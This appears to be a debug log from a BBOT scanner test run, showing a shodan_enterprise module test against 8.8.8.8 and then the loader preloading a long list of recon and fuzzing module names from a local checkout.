[DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:56:39,388 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:39,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:39,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,391 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:56:39,391 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,391 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:39,391 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,392 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,392 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:39,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,394 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:56:39,394 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:39,395 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,395 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,396 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:56:39,396 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:56:39,397 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,397 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:39,397 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,398 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,399 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:56:39,399 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:39,399 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,400 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:56:39,400 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,401 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:56:39,401 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:56:39,401 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,402 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:56:39,403 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:39,403 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,403 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:56:39,404 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:56:39,404 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:56:39,405 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:56:39,405 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:56:39,406 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 16:56:39,487 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:56:39,489 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:39,489 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:56:39,490 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:39,490 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:56:39,490 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:56:39,491 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 16:56:39,491 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:56:39,492 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 16:56:39,493 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 16:56:39,493 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 16:56:39,494 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 16:56:39,495 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 16:56:39,495 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 16:56:39,496 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 16:56:39,496 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 16:56:39,596 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 16:56:39,598 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 16:56:39,616 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 16:56:39,617 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 16:56:39,617 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 16:56:39,624 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 16:56:39,625 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 16:56:39,626 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 16:56:39,627 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 16:56:39,628 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 16:56:39,628 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 16:56:39,744 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_w46nsplara completed in 0 seconds with status FINISHED +2026-03-01 16:56:39,744 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 16:56:39,745 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:56:39,747 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-03-01 16:56:39,747 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-03-01 16:58:23,292 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 16:58:23,302 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 16:58:23,302 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 16:58:23,303 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 16:58:23,304 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 16:58:23,304 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 16:58:23,306 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 16:58:23,306 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 16:58:23,310 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 16:58:23,310 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 16:58:23,312 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 16:58:23,312 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 16:58:23,314 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 16:58:23,314 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 16:58:23,316 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 16:58:23,316 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 16:58:23,317 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 16:58:23,317 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 16:58:23,318 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 16:58:23,319 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 16:58:23,319 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 16:58:23,320 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 16:58:23,321 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 16:58:23,322 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 16:58:23,323 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 16:58:23,324 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 16:58:23,325 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 16:58:23,326 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 16:58:23,327 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 16:58:23,327 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 16:58:23,328 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 16:58:23,329 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 16:58:23,330 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 16:58:23,330 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 16:58:23,331 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 16:58:23,332 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 16:58:23,333 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 16:58:23,333 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 16:58:23,334 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 16:58:23,335 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 16:58:23,336 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 16:58:23,337 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 16:58:23,337 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 16:58:23,338 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 16:58:23,339 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 16:58:23,340 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 16:58:23,340 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 16:58:23,341 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 16:58:23,342 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 16:58:23,343 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 16:58:23,343 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 16:58:23,344 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 16:58:23,344 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 16:58:23,345 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 16:58:23,346 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 16:58:23,346 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 16:58:23,346 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 16:58:23,351 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 16:58:23,351 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 16:58:23,352 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 16:58:23,353 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 16:58:23,354 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 16:58:23,354 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 16:58:23,355 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 16:58:23,356 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 16:58:23,357 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 16:58:23,357 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 16:58:23,358 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 16:58:23,359 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 16:58:23,359 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 16:58:23,360 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 16:58:23,361 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 16:58:23,361 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 16:58:23,362 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 16:58:23,362 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 16:58:23,363 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 16:58:23,363 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 16:58:23,364 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 16:58:23,365 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 16:58:23,366 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 16:58:23,366 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 16:58:23,367 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 16:58:23,367 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 16:58:23,373 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 16:58:23,373 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 16:58:23,374 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 16:58:23,375 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 16:58:23,376 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 16:58:23,377 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 16:58:23,378 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 16:58:23,378 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 16:58:23,379 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 16:58:23,379 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 16:58:23,381 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 16:58:23,382 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 16:58:23,383 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 16:58:23,383 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 16:58:23,384 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 16:58:23,385 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 16:58:23,386 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 16:58:23,386 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 16:58:23,387 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 16:58:23,387 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 16:58:23,388 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 16:58:23,389 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 16:58:23,389 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 16:58:23,390 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 16:58:23,391 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 16:58:23,391 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 16:58:23,392 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 16:58:23,394 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 16:58:23,394 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 16:58:23,395 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 16:58:23,396 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 16:58:23,397 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 16:58:23,398 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 16:58:23,398 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 16:58:23,399 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 16:58:23,400 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 16:58:23,401 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 16:58:23,402 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 16:58:23,403 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 16:58:23,403 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 16:58:23,404 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 16:58:23,405 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 16:58:23,405 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 16:58:23,406 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 16:58:23,406 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 16:58:23,407 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 16:58:23,408 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 16:58:23,408 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 16:58:23,409 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 16:58:23,410 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 16:58:23,410 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 16:58:23,411 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 16:58:23,411 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 16:58:23,413 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 16:58:23,413 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 16:58:23,414 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 16:58:23,414 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 16:58:23,415 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 16:58:23,415 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 16:58:23,416 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 16:58:23,417 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 16:58:23,417 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 16:58:23,418 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 16:58:23,419 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 16:58:23,419 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 16:58:23,420 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 16:58:23,421 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 16:58:23,421 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 16:58:23,422 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 16:58:23,422 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 16:58:23,423 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 16:58:23,424 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 16:58:23,424 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 16:58:23,425 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 16:58:23,425 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 16:58:23,426 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 16:58:23,427 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 16:58:23,427 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 16:58:23,428 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 16:58:23,428 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 16:58:23,430 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 16:58:23,430 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 16:58:23,431 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache 